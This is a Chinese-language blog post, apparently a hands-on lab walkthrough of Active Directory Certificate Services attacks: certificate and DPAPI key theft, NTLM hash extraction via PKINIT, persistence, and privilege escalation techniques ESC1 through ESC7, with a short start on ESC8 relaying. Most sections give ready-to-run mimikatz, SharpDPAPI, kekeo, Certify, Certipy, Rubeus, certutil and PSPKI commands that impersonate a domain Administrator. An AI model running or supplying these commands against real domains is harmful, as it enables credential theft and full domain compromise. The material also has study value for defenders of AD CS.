域渗透之AD-CS相关攻击
前言
英文版看的太费劲,发现有大佬翻译并复现的文章
先贴链接,以表尊重
https://whoamianony.top/posts/attack-surface-mining-for-ad-cs/
看还是文章太抽象,动手搭一搭还是有必要的。
本文主要就上文提到的一些攻击手法做一下复现,一些原理性东西还是看大佬原文吧
证书窃取
如果一个组织中安装并配置了 AD CS,则必定有一些 AD 用户或计算机可能具有颁发给他们的证书,并且其中一些证书可能具有允许域身份验证的 EKU。许多组织选择使用操作系统本身存储密钥的默认设置,在这种情况下,Windows 使用数据保护应用程序编程接口(DPAPI)来保护密钥材料。
DPAPI
先了解一下什么是DPAPI
证书窃取1
通过CAPIs导出证书
certmgr.msc
手动来导出受密码保护的 .pfx 文件,(连同私钥一起导出时需要密码
或指定安全主机
- 使用
Cryptography API(CAPI)
和Cryptography API:Next Generation(CNG)
接口与证书存储进行交互
如果私钥不可导出,CAPI 和 CNG 将不允许提取不可导出的证书,mimikatz可以通过patchcapi
和cng
,来进一步导出证书,导出的证书将以 .der 和 .pfx 格式保存到磁盘上。
mimikatz.exe "crypto::capi" "crypto::certificates /export" exit
mimikatz.exe "crypto::cng" "crypto::certificates /export" exit
证书窃取2
通过DPAPI窃取用户证书,
Windows 使用 DPAPI 存储证书私钥手动解密加密的 DPAPI blob 时,微软打破了用户和机器私钥的存储位置,开发人员需要了解操作系统用作私钥文件结构的哪个加密 API 在两个 API 之间不同。使用 SharpDPAPI 时,它会自动考虑这些文件格式差异。
没看太懂,只知道用SharpDPAPI
就完事了。
-
用户证书存储在注册表项
HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates
-
个人证书也可能存储在
%APPDATA%\Microsoft\SystemCertificates\My\Certificates\
-
证书对应的用户私钥位置主要位于
-
%APPDATA%\Microsoft\Crypto\RSA\User SID\
(用于 CAPI 密钥) -
%APPDATA%\Microsoft\Crypto\Keys\
(用于 CNG 密钥)
-
-
主密钥存储在(疑惑)
C:\Users\<UserName>\AppData\Roaming\Microsoft\Protect\<SID>\<MasterKey>
窃取证书时,明确以下几点
-
确定要窃取的证书和其关联私钥所在位置
-
找到解密相关私钥所需的 DPAPI 主密钥。
-
获取明文 DPAPI 主密钥并使用它来解密私钥
获取主密钥
无密码
利用mimikatz来获取,但我一运行,mimikatz就卡崩了。
dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc
其实就是让域控用备份密钥来解密自己的主密钥,所以不用自己的密码
有密码
SharpDPAPI.exe masterkeys /password:xxxxx
但是相关目录下并没有找到这个文件,奇怪.
有这个文件,直接是看不到的,我直接复制到地址栏是能打开的,抽象
mimikatz需要手动输入几个参数
dpapi::masterkey /in:"C:\PATH\TO\KEY" /sid:accountSid /password:PASS
但是没回显,不清楚。
解密私钥
把私钥和证书都以.pem
格式给搞出来了。
SharpDPAPI.exe certificates {GUID}:SHA1
如果 SharpDPAPI 的执行结果中显示 “[!] Certificate can be used for client auth!”,则表示该证书允许域身份验证。此时,可以使用 SharpDPAPI 输出末尾显示的 openssl 命令将 .pem 转换为 .pfx,相关命令如下。一旦转换为 .pfx 文件,就可以通过 Rubeus 为该用户账户申请 TGT 并代表该用户进行域身份验证。在转换时需要输入一个自定义的密码,以保护生成的 .pfx 文件,该密码在后续 Rubeus 的利用过程中会用到。
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
证书窃取3
通过DPAPI窃取机器证书,
-
机器证书存储在注册表项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates
-
相关证书私钥位置
%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys
(CAPI密钥)%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys
(CNG密钥)
Windows 使用机器的 DPAPI 主密钥对它们进行加密。无法使用域 DPAPI 备份密钥解密这些密钥,而必须使用系统上的 DPAPI_SYSTEM LSA 机密,该机密只能由 SYSTEM 用户访问
使用mimikatz得到SysKey
,然后使用该密钥去解主密钥(好像是有在线工具的)
啥也没有就不贴图了
mimikatz
mimikatz crypto::capi crypto::certificates /systemstore:LOCAL_MACHINE /export
sharpDAPI
SharpDPAPI.exe certificates /machine
证书窃取4
寻找证书文件夹
dir /s /b C:\*.pfx C:\*.pem C:\*.p12
就是说 管理员说不定把自己证书导和私钥已经导出来放哪块了,我们手动找找
NTML凭据窃取5
在使用证书进行Kerboers PKINIT
身份验证时,为了对连接到不支持 Kerberos 身份验证的网络服务的应用程序,而支持NTLM 身份验证的, 当使用 PKCA 时,KDC 在特权属性证书 (PAC) 中的PAC_CREDENTIAL_INFO 缓冲区中返回用户的 NTLM hash。
PKINIT文档 如果做安研我可能会细读这个文档,但现在我就是个脚本小子
上脚本kekeo
需要给出注册表位置和属主名称(其实也有默认值)
kekeo.exe "tgt::pac /caname:cyyyy-AD-CA-CA /subject:Administrator /castore:current_user /domain:cyyyy.lab" exit
但是直接报错了,返回的错误是KDC_ERROR_Client_NOT_Trusted
客户端不被信任,GOOLE一番,发现在事件查看器中在应用程序服务日志/Microsoft/Windows/Kerberos-Key-Distribution-Center
中开启日志。
然后在Windows日志/系统
中可以看到认证失败的日志
-
证书被吊销(这是我的问题,当时在CA把这个证书给吊销了,重新申请一下就行了)
-
不是受信任的根证书
我已经导入根证书了,还是不行,后来发现我是在用户证书管理器中导入的,而实际是要在 机器证书管理器
中导入,具体操作参考
https://blog.csdn.net/tianxingjian0509/article/details/114782491
- KDC没有合适的证书
要支持PKINIT协议,KDC也需要相关证书,同样需要机器账户去申请 Kerberos身份验证证书。
申请完之后,终于成功了。
这种攻击的好处是,只要证书不过期,我们就能一直获取到该用户的NTLM hash
,即使该用户改了密码也没有影响。
小结
主要说的是窃取证书的几种方法,并初步进行了利用,就目前来看就是窃取 NTLM
账户持久性
通过证书窃取普通用户凭据
如果存在企业 CA,则用户可以用任何可供他们注册的模板来申请证书。在用户凭据被盗的情况下,攻击者可以通过允许域身份验证的模板来为用户申请证书。所使用的证书模板需要具有以下属性:
- 该证书模板公开注册。
- 允许域用户(或用户所属的组)进行注册。
- 至少具有以下任何可启用域身份验证的 EKU:
- Smart Card Logon (1.3.6.1.4.1.311.20.2.2)
- Client Authentication (1.3.6.1.5.5.7.3.2)
- PKINIT Client Authentication (1.3.6.1.5.2.3.4)
- Any Purpose EKU (2.5.29.37.0)
- No EKU set. i.e., this is a (subordinate) CA certificate.
- 不需要证书管理员批准或 “授权签名” 签发要求。
幸运的是,有一个已发布的模板允许这样做,即 User 模板。但是,虽然此模板是 AD CS 的默认模板,但某些环境可能会禁用它。
查询符合条件的证书
Certify.exe find /clientauth
申请证书
使用Certify申请证书,在我搭的环境中申请失败,解决办法找不到,摆了
Certify.exe request /ca:AD-CA.cyyyy.lab\cyyyy-AD-CA-CA /template:User
拿到证书是.pem
格式,需要进行格式转换,然后就可以申请 tgt
再注入到内存中
Rubeus.exe asktgt /user:Administrator /certificate:C:\Users\Marcus\cert.pfx /password:Passw0rd /ptt
通过证书窃取机器用户凭据
机器帐户本质上就是一种特殊类型的用户帐户,其拥有用户账户的所有属性。如果证书模板与 User 模板的要求相匹配,但允许域内机器作为注册主体,则攻击者可以为失陷系统的机器帐户注册证书。默认的 Machine 模板匹配所有这些必要特征。
如果攻击者提升了失陷系统的权限,攻击者可以使用 SYSTEM 帐户权限为当前机器账户注册证书,Machine 模板授予机器帐户注册权限。Certify 在请求机器账户证书时需要使用
/machine
参数完成此操作,相关命令如下。
相关工具使用
Certify.exe request /ca:CA-SERVER\CA-NAME /template:TEMPLATE-NAME /machine
小结
普通用户没啥好说的,对于机器用户,大佬给了也给了几种利用思路,但我还没学明白...
域权限提升
ECS1
错误的模板配置导致的与权限提升
- 企业 CA 授予低特权用户注册权限。
- CA 证书管理程序批准被禁用。
- 无需授权签名。
- 过于宽松的证书模板安全描述符会向低特权用户授予证书注册权限。
- 证书模板定义了启用域身份验证的 EKU。
- 证书模板允许请求者在 CSR 中指定 subjectAltName。
证书的subjectAltName
(SAN)字段来指定主题身份。如果用户可以在CSR中指定SAN字段的值,就可以以任何人的身份申请证书
证书模板在其 AD 对象的
mspki-certificate-name-flag
属性中指定请求者是否可以在其中指定 SAN。mspki-certificate-name-flag
属性是位掩码,如果存在CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
标志,则请求者可以指定 SAN。
在对模板设置中勾选此项,即可让请求者在CSR中指定SAN
如果还允许低权限用户注册,那么其就可以在SAN中指定高权限用户,通过证书身份验证,进而获取高权限用户的票据,实现域内提权。
- 查找可能存在问题的证书模板
AdFind.exe -b "CN=Configuration,DC=cyyyy,DC=lab" -f "(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))"
Certify.exe find /vulnerable
允许所有域内成员注册,并且可以指定SAN
,可用户客户端认证,不需要CA审批,符合利用条件。
我们向CA申请证书,并指定SAN
(/altname选项)
Certify.exe request /ca:AD-CA.cyyyy.lab\cyyyy-AD-CA-CA /template:kerberosAuthentication /altname:cyyyy\Administrator
又是在请求证书上出问题了,和上面一样(感觉像是不兼容的问题),直接用linux下的py工具吧。
得到.pfx
证书
值接使用 certipy
获取TGT
票据(得到是ccache
格式的可以使用impacket
中的脚本进行格式转换,也可以直接导成环境变量,具体可以阅读 ptt)
直接注入票据
psexec.py
。
有个小插曲,第一次爆错了,需要修改一下host文件,否则找不到主机
但是 target参数需要把cracKmapexec
一直不太行ip
改成域名
(猜测可能把这个做为请求了,写ip就爆错未知的主机
或者复制到靶机上 使用Rubeus
申请TGT
票据
Rubeus.exe asktgt /user:Administrator /certificate:./Administrator.pfx /ptt
不幸的是又爆错了。去github看了眼是有相关issues的,好像是openssl
版本不兼容,但是winserver12
貌似安装不了
所以不如直接用linux下的.cache
转换格式再注入。
访问域控的smb
服务
ESC2
ESC2 是没有 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
标识,但是
- 证书模板定义了 Any Purpose 类型的 EKU 或 SubCA 类型的 EKU。前者 Any Purpose 指证书可以用于任何目的,后者 SubCA 指证书没有 EKU,相当于从属 CA 的证书。
还有的东西没学明白以后再看。
ESC3
ESC3与ESC1不同的是滥用的是注册代理
这个EKU,它允许委托人代表另一个用户注册证书。
ESC3只是手段,最终的目的其实还是要拿到具有高权限
用户的有身份验证功能
的证书。
还需要找到一个其他条件与ESC1
大致一致的证书模板(当然,不需要有CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
标识)
下面。我先在CA上新建一个注册代理(ESC3)
的证书模板
小插曲
终于知道明白作者在ESC1中说的这段话不是没有道理的。
但是,如果网络管理员不熟悉 PKI,他们很可能会为了使服务正常运行而忽略该警告。此外,网络管理员在创建自己的证书模板时,可能会复制 AD CS 附带的默认 WebServer 模板。WebServer 模板启用了
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
标志,然后如果网络管理员又添加了 “客户端身份验证” 或 “智能卡登录” 的EKU,则会发生上述的攻击的场景。这并不是一个牵强附会的想法,因为网络管理员通常在部署 AD CS 服务器后首先要做的事情之一就是创建 HTTPS 证书。此外,许多应用程序使用 SSL/TLS 相互身份验证,在这种情况下,网络管理员可能会错误地启用服务器身份验证和客户端身份验证 EKU,从而导致配置易遭到滥用。
我还想着,为啥好好的要复制模板啊,新建一个不就完事了,原来是压根没有新建证书模板的功能,新的证书只能是
复制原来的证书
,然后在其基础上修改得来的。而且需要注意证书模板有两种,一种是给机器用户的
,一种是给普通用户的
,我是想给普通用户新建一个注册代理(ESC3)
证书模板来着,但复制的前面kerberosAuthentication
的模板,之能颁发给机器用户
,下面我是改用的user
模板。发布要求
发布要求中显示的第二组限制是 “授权签名的数量(H)”(This number of authorized signatures)和 “应用程序策略”(Application Policy)。前者要求证书请求(CSR)在证书被颁发之前由现有的授权证书进行数字签名,该设置就定义了 CSR 中 CA 接受的签名数量。后者定义了颁发证书所需的签名证书必须具有的 EKU OID。
这些设置的常见用途是注册代理(Enrollment Agents)。注册代理是一个 AD CS 术语,其授予可以代表其他用户请求证书的实体。为此,CA 必须向注册代理帐户颁发至少包含证书请求代理 EKU(OID 1.3.6.1.4.1.311.20.2.1)的证书。 一旦颁发,注册代理就可以代表其他用户签署 CSR 并请求证书。而前面所说的 “授权签名的数量(H)” 就指定了在 CA 考虑颁发证书之前,注册代理必须签署 CSR 的数量是多少。
新建完模板,发现注册不了
阴差阳错去点开了本地证书颁发机构certser.msc
发现还需要 再选择颁发证书模板。
此时普通用户就可以选择注册了(已经给予了相关权限)
使用 Certify
来申请注册代理(ESC3)证书~
在kali下使用使用 Certipy
来申请注册代理(ESC3)证书
certipy req -username user1@cyyyy.lab -password userone@123 -ca cyyyy-AD-CA-CA -target AD-CA.cyyyy.lab -template "注册代理(ESC3)"
Certipy v4.0.0 - by Oliver Lyak (ly4k)
再帮Administrator
用户申请一个user
证书
certipy req -username user1@cyyyy.lab -password userone@123 -ca cyyyy-AD-CA-CA -target 192.168.114.123 -template User -on-behalf-of 'cyyyy\Administrator' -pfx user1.pfx
剩下就和ESC1
一样了。申请个TGT
看看
申请成功,没有问题的。
ESC4
错误的ACE(Access Control Entries)导致的模板漏洞。
如果某个低权限用户对证书模板有写入权限(即编辑权限),那么就可以增加CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
标识符,然后就又和ESC1一样了。
总的来说,攻击者关心的敏感权限如下表所示。
Right | Description |
---|---|
Owner | Implicit full control of the object, can edit any properties. |
FullControl | Full control of the object, can edit any properties. |
WriteOwner | Can modify the owner to an attacker-controlled principal. |
WriteDacl | Can modify access control to grant an attacker FullControl. |
WriteProperty | Can edit any properties. |
ESC5
可能影响 AD CS 安全性的基于 ACL 的互连关系网络非常广泛。除了证书模板以外,其他相关对象和证书颁发机构本身可能会对整个 AD CS 系统产生安全影响。这些可能性包括但不限于:
- CA 服务器的 AD 计算机对象(即通过 S4U2Self 或 S4U2Proxy)
- CA 服务器的 RPC/DCOM 服务器
- 容器中的任何子代 AD 对象或容器
CN=Public Key Services,CN=Services,CN=Configuration,DC=<COMPANY>,DC=<COM>
(例如,证书模板容器、证书颁发机构容器、NTAuthCertificates 对象、 注册服务容器等)如果低权限攻击者可以控制其中任何一个,则该攻击可能会危及 PKI 系统。
ESC6
CQure Academy 在其发布的文章 The tale of Enhanced Key (mis) Usage 中描述了另一个类似的问题,它涉及 CA 的
EDITF_ATTRIBUTESUBJECTALTNAME2
标志。正如 Microsoft 所描述的,“If this flag is set on the CA, any request (including when the subject is built from Active Directory®) can have user defined values in the subject alternative name”。这意味着攻击者可以为任何域用户注册证书,包括启用了客户端身份验证 EKU 的证书,从而达到与启用 “Misconfigured Certificate Templates - ESC1” 中所述的CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
标志相同的效果。要在 CA 上启用
EDITF_ATTRIBUTESUBJECTALTNAME2
标志,需要在 AD CS 服务器上执行以下命令并重启 CertSvc 服务,这将在注册表项\CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy
的EditFlags
键中设置EDITF_ATTRIBUTESUBJECTALTNAME2
值。
大概就是改下CA
的默认配置,进而达到和ESC1一样的效果,没什么好说的。
certutil -config "AD-CA.cyyyy.lab\cyyyy-AD-CA-CA" -setreg "policy\EditFlags" +EDITF_ATTRIBUTESUBJECTALTNAME2
其会修改注册表的HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\cyyyy-AD-CA-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags
的值
默认值是 0001 0001 0000 0001 0100 1110 1114446
修改后是 0001 0101 0000 0001 0100 1110 1376590
ESC7
除了证书模板之外,证书颁发机构本身也具有一组保护各种 CA 操作的权限。
主要的权限是管理CA
和颁发和管理证书
,拥有这两个权限的用户分别对应于 CA 管理员(ManageCA)
和 证书管理员(ManageCertificates)
ManageCA
CA管理员有权限调用AD CS (D)COM
接口,来修改CA的Config_CA_Accept_Request_Attributes_SAN
(A Boolean value that indicates whether the CA accepts request attributes that specify the subject alternative name for the certificate being requested),对应的是ESC6
提到的EDITF_ATTRIBUTESUBJECTALTNAME2
标识
说实话,看懂微软文档就是一大成功了。
使用PKISolutions
来实现具体的攻击
Import-Module PSPKI $ConfigReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "DC01.pentest.com" $ConfigReader.SetRootNode($true) $ConfigReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy") $ConfigReader.SetConfigEntry(1376590, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy") certutil -config "DC01.pentest.com\pentest-DC01-CA" -getreg "policy\EditFlags"
和ESC6
实际是一样的。
ManageCertificates
ManageCertificates 权限的用户可以使挂起的证书注册请求得到批准,从而允许攻击者破坏并绕过证书模板设置中的 “CA 证书管理程序批准(C)” 保护。
利用前提是,可以指定SAN
我就直接贴命令了
请求注册证书
Certify.exe request /ca:DC01.pentest.com\pentest-DC01-CA /template:ApproveReqTemplate /altname:PENTEST\Administrator
使用PSPKI通过
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc01.pentest.com | Get-PendingRequest -RequestID 56 | Approve-CertificateRequest
再指定ID请求证书
Certify.exe request /ca:DC01.pentest.com\pentest-DC01-CA /id:56
ESC8
NTLM Relay 攻击
这里涉及到另一种攻击,NTLM中继攻击,可以理解为中间人工具,内容也比较多,不做过多介绍,以后单独再说吧。
这里AD CA开启web证书注册服务。
我们在kali进行监听转发
使用PetitPotam
强制域控发起请求
尝试认证